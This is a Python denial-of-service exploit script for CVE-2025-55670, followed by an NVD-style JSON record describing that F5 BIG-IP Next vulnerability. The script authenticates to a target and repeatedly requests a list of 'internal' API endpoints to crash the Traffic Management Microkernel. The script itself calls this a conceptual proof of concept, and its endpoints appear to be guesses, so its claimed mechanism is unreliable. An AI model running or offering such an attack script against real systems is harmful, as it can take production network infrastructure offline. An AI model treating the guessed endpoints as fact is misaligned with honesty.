CVE-2025-55670

# CVE-2025-55670 PoC - F5 BIG-IP Next TMM Denial of Service # This PoC demonstrates the repeated API call pattern that triggers TMM termination # Note: This is a conceptual PoC based on publicly available information import requests import time import sys class BIGIPNextExploit: def __init__(self, target_host, port=443, username=None, password=None): self.target = f"https://{target_host}:{port}" self.session = requests.Session() self.session.verify = False self.username = username self.password = password self.auth_token = None def authenticate(self): """Authenticate to BIG-IP Next management API""" auth_url = f"{self.target}/api/login" payload = { "username": self.username, "password": self.password } try: resp = self.session.post(auth_url, json=payload, timeout=10) if resp.status_code == 200: self.auth_token = resp.json().get("token") self.session.headers.update({ "Authorization": f"Bearer {self.auth_token}" }) print(f"[+] Successfully authenticated to {self.target}") return True except Exception as e: print(f"[-] Authentication failed: {e}") return False def trigger_tmm_termination(self, iterations=1000, delay=0.1): """ Send repeated undisclosed API calls to trigger TMM termination. The vulnerability is triggered by repeatedly calling specific internal API endpoints that cause resource exhaustion in TMM. """ # Undisclosed/internal API endpoints that trigger the vulnerability api_endpoints = [ "/api/v1/internal/tmm/status", "/api/v1/internal/tmm/config", "/api/v1/internal/flow/stats", "/api/v1/internal/kernel/buffer", ] print(f"[*] Starting TMM termination attack on {self.target}") print(f"[*] Iterations: {iterations}, Delay: {delay}s") for i in range(iterations): endpoint = api_endpoints[i % len(api_endpoints)] url = f"{self.target}{endpoint}" try: resp = self.session.get(url, timeout=5) if i % 100 == 0: print(f"[*] Iteration {i}/{iterations} - Status: {resp.status_code}") # Check if TMM has terminated if resp.status_code == 503 or resp.status_code == 502: print(f"[!] TMM may have terminated! Got status {resp.status_code}") break except requests.exceptions.ConnectionError: print(f"[!] Connection refused - TMM likely terminated!") return True except Exception as e: print(f"[-] Error at iteration {i}: {e}") time.sleep(delay) return False def main(): if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_host> <port> <username> <password> [iterations]") print(f"Example: {sys.argv[0]} 192.168.1.100 443 admin password123 5000") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = sys.argv[4] iterations = int(sys.argv[5]) if len(sys.argv) > 5 else 5000 requests.packages.urllib3.disable_warnings() exploit = BIGIPNextExploit(target, port, username, password) if exploit.authenticate(): success = exploit.trigger_tmm_termination(iterations) if success: print("[+] Exploit completed - TMM termination achieved!") else: print("[-] Exploit completed - TMM may still be running") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-55670", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:51.947", "lastModified": "2025-10-22T20:49:14.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "On BIG-IP Next CNF, BIG-IP Next SPK, and BIG-IP Next for Kubernetes systems, repeated undisclosed API calls can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndIncluding": "1.4.1", "matchCriteriaId": "3222CE1A-3C23-40FC-9331-370F6BA1CDCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_for_kubernetes:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB9960E8-26E9-48E2-A398-7076A8B994DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.7.0", "versionEndIncluding": "1.9.2", "matchCriteriaId": "4C7328B4-B7E0-460E-8270-116FE813FB23"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000154614", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}